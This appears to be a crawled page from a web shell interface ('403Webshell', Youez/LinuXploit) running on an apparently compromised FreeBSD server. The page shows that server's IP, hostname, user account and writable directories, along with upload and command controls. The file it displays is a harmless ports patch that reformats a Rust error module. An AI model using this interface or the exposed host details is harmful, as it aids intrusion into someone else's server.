403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/net/rabbiteer/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/net/rabbiteer/files/patch-src_error.rs
--- src/error.rs.orig	2018-10-14 20:00:28 UTC
+++ src/error.rs
@@ -1,10 +1,10 @@
+use amqp::AMQPError;
+use clap;
+use rustc_serialize::json;
+use std::convert::From;
 use std::fmt;
 use std::io;
-use std::convert::From;
-use amqp::AMQPError;
 use std::string::FromUtf8Error;
-use rustc_serialize::json;
-use clap;
 
 #[macro_export]
 macro_rules! errln(
@@ -21,9 +21,8 @@ macro_rules! rbterr(
     }}
 );
 
-
 pub enum RbtError {
-    Message(String),  // Plain error message
+    Message(String), // Plain error message
     AMQP(AMQPError),
     IO(io::Error),
     UTF8(FromUtf8Error),
@@ -31,27 +30,24 @@ pub enum RbtError {
     Clap(clap::Error),
 }
 
-
 impl fmt::Display for RbtError {
     fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
         match *self {
             RbtError::Message(ref s) => write!(f, "Error: {}", s),
-            RbtError::AMQP(ref e)    => write!(f, "{}", e),
-            RbtError::IO(ref e)      => write!(f, "{}", e),
-            RbtError::UTF8(ref e)    => write!(f, "{}", e),
-            RbtError::JSON(ref e)    => write!(f, "{}", e),
-            RbtError::Clap(ref e)    => write!(f, "{}", e),
+            RbtError::AMQP(ref e) => write!(f, "{}", e),
+            RbtError::IO(ref e) => write!(f, "{}", e),
+            RbtError::UTF8(ref e) => write!(f, "{}", e),
+            RbtError::JSON(ref e) => write!(f, "{}", e),
+            RbtError::Clap(ref e) => write!(f, "{}", e),
         }
     }
 }
 
-
-pub fn handle(e:RbtError) {
+pub fn handle(e: RbtError) {
     errln!("{}", e);
     ::std::process::exit(1);
 }
 
-
 macro_rules! from(
     ($t:ty, $p:tt) => {
         impl From<$t> for RbtError {
@@ -70,7 +66,7 @@ from!(clap::Error, Clap);
 from!(String, Message);
 
 impl From<&'static str> for RbtError {
-    fn from(s:&str) -> RbtError {
+    fn from(s: &str) -> RbtError {
         RbtError::Message(String::from(s))
     }
 }

Youez - 2016 - github.com/yon3zu
LinuXploit